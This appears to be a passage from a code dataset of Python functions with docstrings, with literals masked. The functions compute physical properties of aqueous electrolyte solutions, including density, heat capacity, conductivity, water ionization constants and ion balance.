{"signature": "def Laliberte_density_i(T, w_w, c0, c1, c2, c3, c4):", "body": "t = T - <NUM_LIT><EOL>return ((c0*(<NUM_LIT:1> - w_w)+c1)*exp(<NUM_LIT>*(t + c4)**<NUM_LIT:2>))/((<NUM_LIT:1> - w_w) + c2 + c3*t)<EOL>", "docstring": "r'''Calculate the density of a solute using the form proposed by Laliberte [1]_.\n    Parameters are needed, and a temperature, and water fraction. Units are Kelvin and Pa*s.\n\n    .. math::\n        \\rho_{app,i} = \\frac{(c_0[1-w_w]+c_1)\\exp(10^{-6}[t+c_4]^2)}\n        {(1-w_w) + c_2 + c_3 t}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    w_w : float\n        Weight fraction of water in the solution\n    c0-c4 : floats\n        Function fit parameters\n\n    Returns\n    -------\n    rho_i : float\n        Solute partial density, [kg/m^3]\n\n    Notes\n    -----\n    Temperature range check is TODO\n\n\n    Examples\n    --------\n    >>> d = _Laliberte_Density_ParametersDict['7647-14-5']\n    >>> Laliberte_density_i(273.15+0, 1-0.0037838838, d[\"C0\"], d[\"C1\"], d[\"C2\"], d[\"C3\"], d[\"C4\"])\n    3761.8917585699983\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m4"}
{"signature": "def Laliberte_density(T, ws, CASRNs):", "body": "rho_w = Laliberte_density_w(T)<EOL>w_w = <NUM_LIT:1> - sum(ws)<EOL>rho = w_w/rho_w<EOL>for i in range(len(CASRNs)):<EOL><INDENT>d = _Laliberte_Density_ParametersDict[CASRNs[i]]<EOL>rho_i = Laliberte_density_i(T, w_w, d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"])<EOL>rho = rho + ws[i]/rho_i<EOL><DEDENT>return <NUM_LIT:1.>/rho<EOL>", "docstring": "r'''Calculate the density of an aqueous electrolyte mixture using the form proposed by [1]_.\n    Parameters are loaded by the function as needed. Units are Kelvin and Pa*s.\n\n    .. math::\n        \\rho_m = \\left(\\frac{w_w}{\\rho_w} + \\sum_i \\frac{w_i}{\\rho_{app_i}}\\right)^{-1}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    ws : array\n        Weight fractions of fluid components other than water\n    CASRNs : array\n        CAS numbers of the fluid components other than water\n\n    Returns\n    -------\n    rho_i : float\n        Solution density, [kg/m^3]\n\n    Notes\n    -----\n    Temperature range check is not used here.\n\n    Examples\n    --------\n    >>> Laliberte_density(273.15, [0.0037838838], ['7647-14-5'])\n    1002.6250120185854\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m5"}
{"signature": "def Laliberte_heat_capacity_w(T):", "body": "return float(Laliberte_heat_capacity_w_interp(T - <NUM_LIT>))<EOL>", "docstring": "r'''Calculate the heat capacity of water using the interpolation proposed by [1]_.\n    No parameters are needed, just a temperature.\n\n    .. math::\n        Cp_w = Cp_1 + (Cp_2-Cp_1) \\left( \\frac{t-t_1}{t_2-t_1}\\right)\n        + \\frac{(Cp_3 - 2Cp_2 + Cp_1)}{2}\\left( \\frac{t-t_1}{t_2-t_1}\\right)\n        \\left( \\frac{t-t_1}{t_2-t_1}-1\\right)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n\n    Returns\n    -------\n    Cp_w : float\n        Water heat capacity, [J/kg/K]\n\n    Notes\n    -----\n    Units are Kelvin and J/kg/K.\n    Original source not cited\n    No temperature range is used.\n    The original equation is not used, but rather a cubic scipy interpolation routine.\n\n    Examples\n    --------\n    >>> Laliberte_heat_capacity_w(273.15+3.56)\n    4208.878020261102\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m6"}
{"signature": "def Laliberte_heat_capacity_i(T, w_w, a1, a2, a3, a4, a5, a6):", "body": "t = T - <NUM_LIT><EOL>alpha = a2*t + a3*exp(<NUM_LIT>*t) + a4*(<NUM_LIT:1.> - w_w)<EOL>Cp_i = a1*exp(alpha) + a5*(<NUM_LIT:1.> - w_w)**a6<EOL>return Cp_i*<NUM_LIT><EOL>", "docstring": "r'''Calculate the heat capacity of a solute using the form proposed by [1]_\n    Parameters are needed, and a temperature, and water fraction.\n\n    .. math::\n        Cp_i = a_1 e^\\alpha + a_5(1-w_w)^{a_6}\n        \\alpha = a_2 t + a_3 \\exp(0.01t) + a_4(1-w_w)\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    w_w : float\n        Weight fraction of water in the solution\n    a1-a6 : floats\n        Function fit parameters\n\n    Returns\n    -------\n    Cp_i : float\n        Solute partial heat capacity, [J/kg/K]\n\n    Notes\n    -----\n    Units are Kelvin and J/kg/K.\n    Temperature range check is TODO\n\n    Examples\n    --------\n    >>> d = _Laliberte_Heat_Capacity_ParametersDict['7647-14-5']\n    >>> Laliberte_heat_capacity_i(1.5+273.15, 1-0.00398447, d[\"A1\"], d[\"A2\"], d[\"A3\"], d[\"A4\"], d[\"A5\"], d[\"A6\"])\n    -2930.7353945880477\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m7"}
{"signature": "def Laliberte_heat_capacity(T, ws, CASRNs):", "body": "Cp_w = Laliberte_heat_capacity_w(T)<EOL>w_w = <NUM_LIT:1> - sum(ws)<EOL>Cp = w_w*Cp_w<EOL>for i in range(len(CASRNs)):<EOL><INDENT>d = _Laliberte_Heat_Capacity_ParametersDict[CASRNs[i]]<EOL>Cp_i = Laliberte_heat_capacity_i(T, w_w, d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"], d[\"<STR_LIT>\"])<EOL>Cp = Cp + ws[i]*Cp_i<EOL><DEDENT>return Cp<EOL>", "docstring": "r'''Calculate the heat capacity of an aqueous electrolyte mixture using the\n    form proposed by [1]_.\n    Parameters are loaded by the function as needed.\n\n    .. math::\n        TODO\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    ws : array\n        Weight fractions of fluid components other than water\n    CASRNs : array\n        CAS numbers of the fluid components other than water\n\n    Returns\n    -------\n    Cp : float\n        Solution heat capacity, [J/kg/K]\n\n    Notes\n    -----\n    Temperature range check is not implemented.\n    Units are Kelvin and J/kg/K.\n\n    Examples\n    --------\n    >>> Laliberte_heat_capacity(273.15+1.5, [0.00398447], ['7647-14-5']) \n    4186.569908672113\n\n    References\n    ----------\n    .. [1] Laliberte, Marc. \"A Model for Calculating the Heat Capacity of\n       Aqueous Solutions, with Updated Density and Viscosity Data.\" Journal of\n       Chemical & Engineering Data 54, no. 6 (June 11, 2009): 1725-60.\n       doi:10.1021/je8008123", "id": "f15783:m8"}
{"signature": "def dilute_ionic_conductivity(ionic_conductivities, zs, rhom):", "body": "return sum([ci*(zi*rhom) for zi, ci in zip(zs, ionic_conductivities)])<EOL>", "docstring": "r'''This function handles the calculation of the electrical conductivity of \n    a dilute electrolytic aqueous solution. Requires the mole fractions of \n    each ion, the molar density of the whole mixture, and ionic conductivity \n    coefficients for each ion.\n\n    .. math::\n        \\lambda = \\sum_i \\lambda_i^\\circ z_i \\rho_m\n\n    Parameters\n    ----------\n    ionic_conductivities : list[float]\n        Ionic conductivity coefficients of each ion in the mixture [m^2*S/mol]\n    zs : list[float]\n        Mole fractions of each ion in the mixture, [-]\n    rhom : float\n        Overall molar density of the solution, [mol/m^3]\n\n    Returns\n    -------\n    kappa : float\n        Electrical conductivity of the fluid, [S/m]\n\n    Notes\n    -----\n    The ionic conductivity coefficients should not be `equivalent` coefficients; \n    for example, 0.0053 m^2*S/mol is the equivalent conductivity coefficient of\n    Mg+2, but this method expects twice its value - 0.0106. Both are reported\n    commonly in literature.\n\n    Water can be included in this caclulation by specifying a coefficient of\n    0. The conductivity of any electrolyte eclipses its own conductivity by \n    many orders of magnitude. Any other solvents present will affect the\n    conductivity extensively and there are few good methods to predict this \n    effect.\n\n    Examples\n    --------\n    Complex mixture of electrolytes ['Cl-', 'HCO3-', 'SO4-2', 'Na+', 'K+', \n    'Ca+2', 'Mg+2']:\n\n    >>> ionic_conductivities = [0.00764, 0.00445, 0.016, 0.00501, 0.00735, 0.0119, 0.01061]\n    >>> zs = [0.03104, 0.00039, 0.00022, 0.02413, 0.0009, 0.0024, 0.00103]\n    >>> dilute_ionic_conductivity(ionic_conductivities=ionic_conductivities, zs=zs, rhom=53865.9)\n    22.05246783663\n\n    References\n    ----------\n    .. [1] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.", "id": "f15783:m9"}
{"signature": "def conductivity_McCleskey(T, M, lambda_coeffs, A_coeffs, B, multiplier, rho=<NUM_LIT>):", "body": "t = T - <NUM_LIT><EOL>lambda_coeff = horner(lambda_coeffs, t)<EOL>A = horner(A_coeffs, t)<EOL>M_root = M**<NUM_LIT:0.5><EOL>param = lambda_coeff - A*M_root/(<NUM_LIT:1.> + B*M_root)<EOL>C = M*rho/<NUM_LIT> <EOL>return param*C*multiplier*<NUM_LIT:0.1><EOL>", "docstring": "r'''This function handles the calculation of the electrical conductivity of \n    an electrolytic aqueous solution with one electrolyte in solution. It\n    handles temperature dependency and concentrated solutions. Requires the \n    temperature of the solution; its molality, and four sets of coefficients\n    `lambda_coeffs`, `A_coeffs`, `B`, and `multiplier`.\n\n    .. math::\n        \\Lambda = \\frac{\\kappa}{C}\n\n        \\Lambda = \\Lambda^0(t) - A(t) \\frac{m^{1/2}}{1+Bm^{1/2}}\n\n        \\Lambda^\\circ(t) = c_1 t^2 + c_2 t + c_3\n\n        A(t) = d_1 t^2 + d_2 t + d_3\n\n    In the above equations, `t` is temperature in degrees Celcius;\n    `m` is molality in mol/kg, and C is the concentration of the elctrolytes\n    in mol/m^3, calculated as the product of density and molality.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the solution, [K]\n    M : float\n        Molality of the solution with respect to one electrolyte\n        (mol solute / kg solvent), [mol/kg]\n    lambda_coeffs : list[float]\n        List of coefficients for the polynomial used to calculate `lambda`;\n        length-3 coefficients provided in [1]_,  [-]\n    A_coeffs : list[float]\n        List of coefficients for the polynomial used to calculate `A`;\n        length-3 coefficients provided in [1]_, [-]\n    B : float\n        Empirical constant for an electrolyte, [-]\n    multiplier : float\n        The multiplier to obtain the absolute conductivity from the equivalent\n        conductivity; ex 2 for CaCl2, [-]\n    rho : float, optional\n        The mass density of the aqueous mixture, [kg/m^3]\n\n    Returns\n    -------\n    kappa : float\n        Electrical conductivity of the solution at the specified molality and \n        temperature [S/m]\n\n    Notes\n    -----\n    Coefficients provided in [1]_ result in conductivity being calculated in\n    units of mS/cm; they are converted to S/m before returned.\n\n    Examples\n    --------\n    A 0.5 wt% solution of CaCl2, conductivity calculated in mS/cm\n\n    >>> conductivity_McCleskey(T=293.15, M=0.045053, A_coeffs=[.03918, 3.905, \n    ... 137.7], lambda_coeffs=[0.01124, 2.224, 72.36], B=3.8, multiplier=2)\n    0.8482584585108555\n\n    References\n    ----------\n    .. [1] McCleskey, R. Blaine. \"Electrical Conductivity of Electrolytes Found\n       In Natural Waters from (5 to 90) \u00b0C.\" Journal of Chemical & Engineering \n       Data 56, no. 2 (February 10, 2011): 317-27. doi:10.1021/je101012n.", "id": "f15783:m10"}
{"signature": "def conductivity(CASRN=None, AvailableMethods=False, Method=None, full_info=True):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in Lange_cond_pure.index:<EOL><INDENT>methods.append(LANGE_COND)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == LANGE_COND:<EOL><INDENT>kappa = float(Lange_cond_pure.at[CASRN, '<STR_LIT>'])<EOL>if full_info:<EOL><INDENT>T = float(Lange_cond_pure.at[CASRN, '<STR_LIT:T>'])<EOL><DEDENT><DEDENT>elif Method == NONE:<EOL><INDENT>kappa, T = None, None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if full_info:<EOL><INDENT>return kappa, T<EOL><DEDENT>else:<EOL><INDENT>return kappa<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval of a chemical's conductivity.\n    Lookup is based on CASRNs. Will automatically select a data source to use\n    if no Method is provided; returns None if the data is not available.\n\n    Function has data for approximately 100 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    kappa : float\n        Electrical conductivity of the fluid, [S/m]\n    T : float, only returned if full_info == True\n        Temperature at which conductivity measurement was made\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain RI with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        conductivity_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        conductivity for the desired chemical, and will return methods instead\n        of conductivity\n    full_info : bool, optional\n        If True, function will return the temperature at which the conductivity\n        reading was made\n\n    Notes\n    -----\n    Only one source is available in this function. It is:\n\n        * 'LANGE_COND' which is from Lange's Handbook, Table 8.34 Electrical \n        Conductivity of Various Pure Liquids', a compillation of data in [1]_.\n\n    Examples\n    --------\n    >>> conductivity('7732-18-5')\n    (4e-06, 291.15)\n\n    References\n    ----------\n    .. [1] Speight, James. Lange's Handbook of Chemistry. 16 edition.\n       McGraw-Hill Professional, 2005.", "id": "f15783:m11"}
{"signature": "def thermal_conductivity_Magomedov(T, P, ws, CASRNs, k_w=None):", "body": "P = P/<NUM_LIT><EOL>ws = [i*<NUM_LIT:100> for i in ws]<EOL>if not k_w:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>sum1 = <NUM_LIT:0><EOL>for i, CASRN in enumerate(CASRNs):<EOL><INDENT>Ai = float(Magomedovk_thermal_cond.at[CASRN, '<STR_LIT>'])<EOL>sum1 += Ai*(ws[i] + <NUM_LIT>*ws[i]**<NUM_LIT:3>)<EOL><DEDENT>return k_w*(<NUM_LIT:1> - sum1) - <NUM_LIT>*P*T*sum(ws)<EOL>", "docstring": "r'''Calculate the thermal conductivity of an aqueous mixture of\n    electrolytes using the form proposed by Magomedov [1]_.\n    Parameters are loaded by the function as needed. Function will fail if an\n    electrolyte is not in the database.\n\n    .. math::\n        \\lambda = \\lambda_w\\left[ 1 - \\sum_{i=1}^n A_i (w_i + 2\\times10^{-4}\n        w_i^3)\\right] - 2\\times10^{-8} PT\\sum_{i=1}^n w_i\n\n    Parameters\n    ----------\n    T : float\n        Temperature of liquid [K]\n    P : float\n        Pressure of the liquid [Pa]\n    ws : array\n        Weight fractions of liquid components other than water\n    CASRNs : array\n        CAS numbers of the liquid components other than water\n    k_w : float\n        Liquid thermal condiuctivity or pure water at T and P, [W/m/K]\n\n    Returns\n    -------\n    kl : float\n        Liquid thermal condiuctivity, [W/m/K]\n\n    Notes\n    -----\n    Range from 273 K to 473 K, P from 0.1 MPa to 100 MPa. C from 0 to 25 mass%.\n    Internal untis are MPa for pressure and weight percent.\n\n    An example is sought for this function. It is not possible to reproduce\n    the author's values consistently.\n\n    Examples\n    --------\n    >>> thermal_conductivity_Magomedov(293., 1E6, [.25], ['7758-94-3'], k_w=0.59827)\n    0.548654049375\n\n    References\n    ----------\n    .. [1] Magomedov, U. B. \"The Thermal Conductivity of Binary and\n       Multicomponent Aqueous Solutions of Inorganic Substances at High\n       Parameters of State.\" High Temperature 39, no. 2 (March 1, 2001):\n       221-26. doi:10.1023/A:1017518731726.", "id": "f15783:m12"}
{"signature": "def ionic_strength(mis, zis):", "body": "return <NUM_LIT:0.5>*sum([mi*zi*zi for mi, zi in zip(mis, zis)])<EOL>", "docstring": "r'''Calculate the ionic strength of a solution in one of two ways,\n    depending on the inputs only. For Pitzer and Bromley models,\n    `mis` should be molalities of each component. For eNRTL models,\n    `mis` should be mole fractions of each electrolyte in the solution.\n    This will sum to be much less than 1.\n\n    .. math::\n        I = \\frac{1}{2} \\sum M_i z_i^2\n\n        I = \\frac{1}{2} \\sum x_i z_i^2\n\n    Parameters\n    ----------\n    mis : list\n        Molalities of each ion, or mole fractions of each ion [mol/kg or -]\n    zis : list\n        Charges of each ion [-]\n\n    Returns\n    -------\n    I : float\n        ionic strength, [?]\n\n    Examples\n    --------\n    >>> ionic_strength([0.1393, 0.1393], [1, -1])\n    0.1393\n\n    References\n    ----------\n    .. [1] Chen, Chau-Chyun, H. I. Britt, J. F. Boston, and L. B. Evans. \"Local\n       Composition Model for Excess Gibbs Energy of Electrolyte Systems.\n       Part I: Single Solvent, Single Completely Dissociated Electrolyte\n       Systems.\" AIChE Journal 28, no. 4 (July 1, 1982): 588-96.\n       doi:10.1002/aic.690280410\n    .. [2] Gmehling, Jurgen. Chemical Thermodynamics: For Process Simulation.\n       Weinheim, Germany: Wiley-VCH, 2012.", "id": "f15783:m13"}
{"signature": "def Kweq_1981(T, rho_w):", "body": "rho_w = rho_w/<NUM_LIT><EOL>A = -<NUM_LIT><EOL>B = -<NUM_LIT><EOL>C = <NUM_LIT><EOL>D = -<NUM_LIT><EOL>E = <NUM_LIT><EOL>F = -<NUM_LIT><EOL>G = <NUM_LIT><EOL>return <NUM_LIT:10>**(A + B/T + C/T**<NUM_LIT:2> + D/T**<NUM_LIT:3> + (E + F/T + G/T**<NUM_LIT:2>)*log10(rho_w))<EOL>", "docstring": "r'''Calculates equilibrium constant for OH- and H+ in water, according to\n    [1]_. Second most recent formulation.\n\n    .. math::\n        \\log_{10} K_w= A + B/T + C/T^2 + D/T^3 + (E+F/T+G/T^2)\\log_{10} \\rho_w\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    rho_w : float\n        Density of water, [kg/m^3]\n\n    Returns\n    -------\n    Kweq : float\n        Ionization constant of water, [-]\n\n    Notes\n    -----\n    Density is internally converted to units of g/cm^3.\n\n    A = -4.098;\n    B = -3245.2;\n    C = 2.2362E5;\n    D = -3.984E7;\n    E = 13.957;\n    F = -1262.3;\n    G = 8.5641E5\n\n    Examples\n    --------\n    >>> -1*log10(Kweq_1981(600, 700))\n    11.274522047458206\n\n    References\n    ----------\n    .. [1] Marshall, William L., and E. U. Franck. \"Ion Product of Water\n       Substance, 0-1000  degree C, 1010,000 Bars New International Formulation\n       and Its Background.\" Journal of Physical and Chemical Reference Data 10,\n       no. 2 (April 1, 1981): 295-304. doi:10.1063/1.555643.", "id": "f15783:m14"}
{"signature": "def Kweq_IAPWS_gas(T):", "body": "gamma0 = <NUM_LIT><EOL>gamma1 = <NUM_LIT><EOL>gamma2 = -<NUM_LIT><EOL>gamma3 = <NUM_LIT><EOL>K_w_G = <NUM_LIT:10>**(-<NUM_LIT:1>*(gamma0 + gamma1/T + gamma2/T**<NUM_LIT:2> + gamma3/T**<NUM_LIT:3>))<EOL>return K_w_G<EOL>", "docstring": "r'''Calculates equilibrium constant for OH- and H+ in water vapor,\n    according to [1]_.\n    This is the most recent formulation available.\n\n    .. math::\n        -log_{10}  K_w^G = \\gamma_0 + \\gamma_1 T^{-1} + \\gamma_2 T^{-2} + \\gamma_3 T^{-3}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of H2O [K]\n\n    Returns\n    -------\n    K_w_G : float\n\n    Notes\n    -----\n    gamma0 = 6.141500E-1; \n    gamma1 = 4.825133E4; \n    gamma2 = -6.770793E4; \n    gamma3 = 1.010210E7\n\n    Examples\n    --------\n    >>> Kweq_IAPWS_gas(800)\n    1.4379721554798815e-61\n\n    References\n    ----------\n    .. [1] Bandura, Andrei V., and Serguei N. Lvov. \"The Ionization Constant\n       of Water over Wide Ranges of Temperature and Density.\" Journal of Physical\n       and Chemical Reference Data 35, no. 1 (March 1, 2006): 15-30.\n       doi:10.1063/1.1928231", "id": "f15783:m15"}
{"signature": "def Kweq_IAPWS(T, rho_w):", "body": "K_w_G = Kweq_IAPWS_gas(T)<EOL>rho_w = rho_w/<NUM_LIT><EOL>n = <NUM_LIT:6><EOL>alpha0 = -<NUM_LIT><EOL>alpha1 = <NUM_LIT><EOL>alpha2 = -<NUM_LIT><EOL>beta0 = <NUM_LIT><EOL>beta1 = -<NUM_LIT><EOL>beta2 = -<NUM_LIT><EOL>Q = rho_w*exp(alpha0 + alpha1/T + alpha2/T**<NUM_LIT:2>*rho_w**(<NUM_LIT:2>/<NUM_LIT>))<EOL>K_w = <NUM_LIT:10>**(-<NUM_LIT:1>*(-<NUM_LIT:2>*n*(log10(<NUM_LIT:1>+Q)-Q/(Q+<NUM_LIT:1>) * rho_w *(beta0 + beta1/T + beta2*rho_w)) -<EOL>log10(K_w_G) + <NUM_LIT:2>*log10(<NUM_LIT>/<NUM_LIT:1000>) ))<EOL>return K_w<EOL>", "docstring": "r'''Calculates equilibrium constant for OH- and H+ in water, according to\n    [1]_.\n    This is the most recent formulation available.\n\n    .. math::\n        Q = \\rho \\exp(\\alpha_0 + \\alpha_1 T^{-1} + \\alpha_2 T^{-2} \\rho^{2/3})\n\n        - \\log_{10} K_w = -2n \\left[ \\log_{10}(1+Q) - \\frac{Q}{Q+1} \\rho \n        (\\beta_0 + \\beta_1 T^{-1} + \\beta_2 \\rho) \\right]\n        -\\log_{10} K_w^G + 2 \\log_{10} \\frac{18.015268}{1000}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of water [K]\n    rho_w : float\n        Density of water at temperature and pressure [kg/m^3]\n\n    Returns\n    -------\n    Kweq : float\n        Ionization constant of water, [-]\n\n    Notes\n    -----\n    Formulation is in terms of density in g/cm^3; density\n    is converted internally.\n\n    n = 6;\n    alpha0 = -0.864671;\n    alpha1 = 8659.19;\n    alpha2 = -22786.2;\n    beta0 = 0.642044;\n    beta1 = -56.8534;\n    beta2 = -0.375754\n\n    Examples\n    --------\n    Example from IAPWS check:\n\n    >>> -1*log10(Kweq_IAPWS(600, 700))\n    11.203153057603775\n\n    References\n    ----------\n    .. [1] Bandura, Andrei V., and Serguei N. Lvov. \"The Ionization Constant\n       of Water over Wide Ranges of Temperature and Density.\" Journal of Physical\n       and Chemical Reference Data 35, no. 1 (March 1, 2006): 15-30.\n       doi:10.1063/1.1928231", "id": "f15783:m16"}
{"signature": "def ion_balance_proportional(anion_charges, cation_charges, zs, n_anions, <EOL>n_cations, balance_error, method):", "body": "anion_zs = zs[<NUM_LIT:0>:n_anions]<EOL>cation_zs = zs[n_anions:n_cations+n_anions]<EOL>anion_balance_error = sum([zi*ci for zi, ci in zip(anion_zs, anion_charges)])<EOL>cation_balance_error = sum([zi*ci for zi, ci in zip(cation_zs, cation_charges)])<EOL>if method == '<STR_LIT>':<EOL><INDENT>if balance_error < <NUM_LIT:0>:<EOL><INDENT>multiplier = -anion_balance_error/cation_balance_error<EOL>cation_zs = [i*multiplier for i in cation_zs]<EOL><DEDENT>else:<EOL><INDENT>multiplier = -cation_balance_error/anion_balance_error<EOL>anion_zs = [i*multiplier for i in anion_zs]<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>if balance_error < <NUM_LIT:0>:<EOL><INDENT>multiplier = -cation_balance_error/anion_balance_error<EOL>anion_zs = [i*multiplier for i in anion_zs]<EOL><DEDENT>else:<EOL><INDENT>multiplier = -anion_balance_error/cation_balance_error<EOL>cation_zs = [i*multiplier for i in cation_zs]<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>multiplier = -anion_balance_error/cation_balance_error<EOL>cation_zs = [i*multiplier for i in cation_zs]<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>multiplier = -cation_balance_error/anion_balance_error<EOL>anion_zs = [i*multiplier for i in anion_zs]<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' %charge_balance_methods)<EOL><DEDENT>z_water = <NUM_LIT:1.> - sum(anion_zs) - sum(cation_zs)<EOL>return anion_zs, cation_zs, z_water<EOL>", "docstring": "Helper method for balance_ions for the proportional family of methods. \n    See balance_ions for a description of the methods; parameters are fairly\n    obvious.", "id": "f15783:m20"}
{"signature": "def balance_ions(anions, cations, anion_zs=None, cation_zs=None, <EOL>anion_concs=None, cation_concs=None, rho_w=<NUM_LIT>, <EOL>method='<STR_LIT>', selected_ion=None):", "body": "anions = list(anions)<EOL>cations = list(cations)<EOL>n_anions = len(anions)<EOL>n_cations = len(cations)<EOL>ions = anions + cations<EOL>anion_charges = [i.charge for i in anions]<EOL>cation_charges = [i.charge for i in cations]<EOL>charges = anion_charges + cation_charges + [<NUM_LIT:0>]<EOL>MW_water = [<NUM_LIT>]<EOL>rho_w = rho_w/<NUM_LIT:1000> <EOL>if anion_concs is not None and cation_concs is not None:<EOL><INDENT>anion_ws = [i*<NUM_LIT>/rho_w for i in anion_concs]<EOL>cation_ws = [i*<NUM_LIT>/rho_w for i in cation_concs]<EOL>w_water = <NUM_LIT:1> - sum(anion_ws) - sum(cation_ws)<EOL>anion_MWs = [i.MW for i in anions]<EOL>cation_MWs = [i.MW for i in cations]<EOL>MWs = anion_MWs + cation_MWs + MW_water<EOL>zs = ws_to_zs(anion_ws + cation_ws + [w_water], MWs)<EOL><DEDENT>else:<EOL><INDENT>if anion_zs is None or cation_zs is None:<EOL><INDENT>raise Exception('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>zs = anion_zs + cation_zs<EOL>zs = zs + [<NUM_LIT:1> - sum(zs)]<EOL><DEDENT><DEDENT>impacts = [zi*ci for zi, ci in zip(zs, charges)]<EOL>balance_error = sum(impacts)<EOL>if abs(balance_error) < <NUM_LIT>:<EOL><INDENT>anion_zs = zs[<NUM_LIT:0>:n_anions]<EOL>cation_zs = zs[n_anions:n_cations+n_anions]<EOL>z_water = zs[-<NUM_LIT:1>]<EOL>return anions, cations, anion_zs, cation_zs, z_water<EOL><DEDENT>if '<STR_LIT>' in method:<EOL><INDENT>anion_zs, cation_zs, z_water = ion_balance_dominant(impacts,<EOL>balance_error, charges, zs, n_anions, n_cations, method)<EOL>return anions, cations, anion_zs, cation_zs, z_water<EOL><DEDENT>elif '<STR_LIT>' in method:<EOL><INDENT>anion_zs, cation_zs, z_water = ion_balance_proportional(<EOL>anion_charges, cation_charges, zs, n_anions, n_cations,<EOL>balance_error, method)<EOL>return anions, cations, anion_zs, cation_zs, z_water<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>increase = True<EOL>if balance_error < <NUM_LIT:0>:<EOL><INDENT>selected_ion = pubchem_db.search_name('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>selected_ion = pubchem_db.search_name('<STR_LIT>')<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>increase = False<EOL>if balance_error > <NUM_LIT:0>:<EOL><INDENT>selected_ion = pubchem_db.search_name('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>selected_ion = pubchem_db.search_name('<STR_LIT>')<EOL><DEDENT><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>increase = None<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>increase = True<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>increase = False<EOL><DEDENT>elif method == '<STR_LIT>':<EOL><INDENT>increase = True<EOL>if balance_error < <NUM_LIT:0>:<EOL><INDENT>selected_ion = selected_ion[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>selected_ion = selected_ion[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if selected_ion is None:<EOL><INDENT>raise Exception(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>anion_zs, cation_zs, z_water = ion_balance_adjust_wrapper(charges, zs, n_anions, n_cations,<EOL>anions, cations, selected_ion, increase=increase)<EOL>return anions, cations, anion_zs, cation_zs, z_water<EOL>", "docstring": "r'''Performs an ion balance to adjust measured experimental ion \n    compositions to electroneutrality. Can accept either the actual mole \n    fractions of the ions, or their concentrations in units of [mg/L] as well\n    for convinience.\n\n    The default method will locate the most prevalent ion in the type of \n    ion not in excess - and increase it until the two ion types balance.\n\n    Parameters\n    ----------\n    anions : list(ChemicalMetadata)\n        List of all negatively charged ions measured as being in the solution;\n        ChemicalMetadata instances or simply objects with the attributes `MW` \n        and `charge`, [-]\n    cations : list(ChemicalMetadata)\n        List of all positively charged ions measured as being in the solution;\n        ChemicalMetadata instances or simply objects with the attributes `MW` \n        and `charge`, [-]\n    anion_zs : list, optional\n        Mole fractions of each anion as measured in the aqueous solution, [-]\n    cation_zs : list, optional\n        Mole fractions of each cation as measured in the aqueous solution, [-]\n    anion_concs : list, optional\n        Concentrations of each anion in the aqueous solution in the units often\n        reported (for convinience only) 